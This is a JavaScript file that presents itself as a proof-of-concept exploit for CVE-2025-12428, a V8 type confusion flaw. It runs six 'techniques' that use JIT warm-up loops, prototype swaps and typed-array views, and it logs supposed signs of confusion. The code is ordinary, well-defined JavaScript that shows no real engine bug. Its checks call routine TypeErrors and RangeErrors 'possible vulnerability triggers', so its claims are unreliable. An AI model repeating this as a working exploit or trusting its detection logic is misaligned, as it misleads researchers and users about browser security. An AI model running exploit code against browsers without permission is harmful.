/**
 * CVE-2025-12428 - V8 Type Confusion Proof of Concept
 * 
 * WARNING: This is for educational and security research purposes only.
 * Only use on systems you own or have explicit permission to test.
 * 
 * This PoC demonstrates type confusion techniques that may trigger
 * CVE-2025-12428 in vulnerable V8 engine versions.
 */

(function() {
    'use strict';

    console.log('[+] CVE-2025-12428 PoC - V8 Type Confusion');
    console.log('[+] Browser:', navigator.userAgent);
    console.log('');

    /**
     * Technique 1: Property Accessor Type Confusion
     * Attempts to confuse V8 by switching object types during property access
     */
    function technique1_PropertyAccessorConfusion() {
        console.log('[1] Testing Property Accessor Type Confusion...');
        
        let obj = {};
        let arr = [1, 2, 3, 4, 5];
        
        // Create a polymorphic variable
        let polymorphic = arr;
        
        // Warm up JIT compiler with array access
        for (let i = 0; i < 10000; i++) {
            polymorphic.length;
            if (i % 2 === 0) {
                polymorphic = arr;
            } else {
                polymorphic = obj; // Switch to object
            }
        }
        
        // Now access length on object (potential type confusion)
        try {
            let length = polymorphic.length;
            console.log(`    [*] Accessed length: ${length}`);
            if (typeof length !== 'undefined' && typeof length !== 'number') {
                console.log('    [!] Potential type confusion detected!');
            }
        } catch (e) {
            console.log(`    [X] Error: ${e.message}`);
        }
    }

    /**
     * Technique 2: Array-to-Object Type Transition
     * Forces type transitions that might confuse the optimizer
     */
    function technique2_ArrayObjectTransition() {
        console.log('[2] Testing Array-to-Object Type Transition...');
        
        function createPolymorphic() {
            if (Math.random() > 0.5) {
                return [1, 2, 3];
            }
            return {0: 1, 1: 2, 2: 3};
        }
        
        // Optimize with arrays
        for (let i = 0; i < 5000; i++) {
            let x = createPolymorphic();
            if (Array.isArray(x)) {
                x.length;
            }
        }
        
        // Now try with object
        try {
            let result = createPolymorphic();
            // Access length as if it's an array
            let length = result.length;
            console.log(`    [*] Length access result: ${length}`);
        } catch (e) {
            console.log(`    [X] Exception: ${e.message}`);
        }
    }

    /**
     * Technique 3: Function Call Type Confusion
     * Attempts to call non-function objects
     */
    function technique3_FunctionTypeConfusion() {
        console.log('[3] Testing Function Call Type Confusion...');
        
        function polymorphicCall(callable) {
            return callable();
        }
        
        let func = () => 42;
        let obj = {value: 100};
        
        // Optimize with function calls
        for (let i = 0; i < 5000; i++) {
            polymorphicCall(func);
        }
        
        // Try calling object as function
        try {
            let result = polymorphicCall(obj);
            console.log(`    [!] Unexpected call result: ${result}`);
            console.log('    [!] Potential type confusion!');
        } catch (e) {
            console.log(`    [*] Expected error: ${e.name}`);
        }
    }

    /**
     * Technique 4: Property Descriptor Type Confusion
     * Uses property descriptors to create type ambiguity
     */
    function technique4_PropertyDescriptorConfusion() {
        console.log('[4] Testing Property Descriptor Type Confusion...');
        
        let obj = {};
        let arr = [10, 20, 30];
        
        // Define a getter that returns different types
        Object.defineProperty(obj, 'length', {
            get: function() {
                // Randomly return array length or string
                return Math.random() > 0.5 ? arr.length : 'not a number';
            },
            configurable: true,
            enumerable: true
        });
        
        try {
            let length = obj.length;
            console.log(`    [*] Length value: ${length}, type: ${typeof length}`);
            
            // If length is a number, try array operations
            if (typeof length === 'number') {
                // This might confuse V8 into treating obj as array
                console.log('    [*] Attempting array-like operations...');
            }
        } catch (e) {
            console.log(`    [X] Error: ${e.message}`);
        }
    }

    /**
     * Technique 5: Prototype Chain Manipulation
     * Manipulates prototype chains to create type confusion
     */
    function technique5_PrototypeConfusion() {
        console.log('[5] Testing Prototype Chain Manipulation...');
        
        // Create object with Array prototype
        let fakeArray = {};
        Object.setPrototypeOf(fakeArray, Array.prototype);
        
        // Try to use array methods
        try {
            fakeArray.push(1, 2, 3);
            console.log(`    [*] Push successful, length: ${fakeArray.length}`);
            
            // Access as array
            let first = fakeArray[0];
            console.log(`    [*] First element: ${first}`);
        } catch (e) {
            console.log(`    [X] Error: ${e.message}`);
        }
    }

    /**
     * Technique 6: TypedArray Type Confusion
     * Attempts to confuse typed array handling
     */
    function technique6_TypedArrayConfusion() {
        console.log('[6] Testing TypedArray Type Confusion...');
        
        let buffer = new ArrayBuffer(16);
        let view1 = new Uint8Array(buffer);
        let view2 = new Float64Array(buffer);
        
        // Write with one type
        view1[0] = 0x41; // 'A'
        view1[1] = 0x42; // 'B'
        
        // Read with different type (potential confusion)
        try {
            let floatValue = view2[0];
            console.log(`    [*] Float64 value: ${floatValue}`);
            console.log(`    [*] Raw bytes interpreted as float`);
        } catch (e) {
            console.log(`    [X] Error: ${e.message}`);
        }
    }

    /**
     * Main execution function
     */
    function runPoC() {
        console.log('[+] Starting CVE-2025-12428 Proof of Concept...\n');
        
        try {
            technique1_PropertyAccessorConfusion();
            console.log('');
            
            technique2_ArrayObjectTransition();
            console.log('');
            
            technique3_FunctionTypeConfusion();
            console.log('');
            
            technique4_PropertyDescriptorConfusion();
            console.log('');
            
            technique5_PrototypeConfusion();
            console.log('');
            
            technique6_TypedArrayConfusion();
            console.log('');
            
            console.log('[+] PoC execution complete.');
            console.log('[!] Monitor for:');
            console.log('    - Browser crashes');
            console.log('    - Memory corruption errors');
            console.log('    - Unexpected type coercion');
            console.log('    - Invalid memory access');
            
        } catch (e) {
            console.error('[X] Fatal error:', e.message);
            console.error('[X] Stack:', e.stack);
            
            // Check for crash indicators
            if (e.message.includes('memory') || 
                e.message.includes('corruption') ||
                e.name === 'RangeError' ||
                e.name === 'TypeError') {
                console.error('[!] Possible vulnerability trigger detected!');
            }
        }
    }

    // Export for use in HTML or Node.js
    if (typeof module !== 'undefined' && module.exports) {
        module.exports = { runPoC };
    } else if (typeof window !== 'undefined') {
        window.runCVEPoC = runPoC;
    } else {
        // Run automatically in standalone context
        runPoC();
    }

})();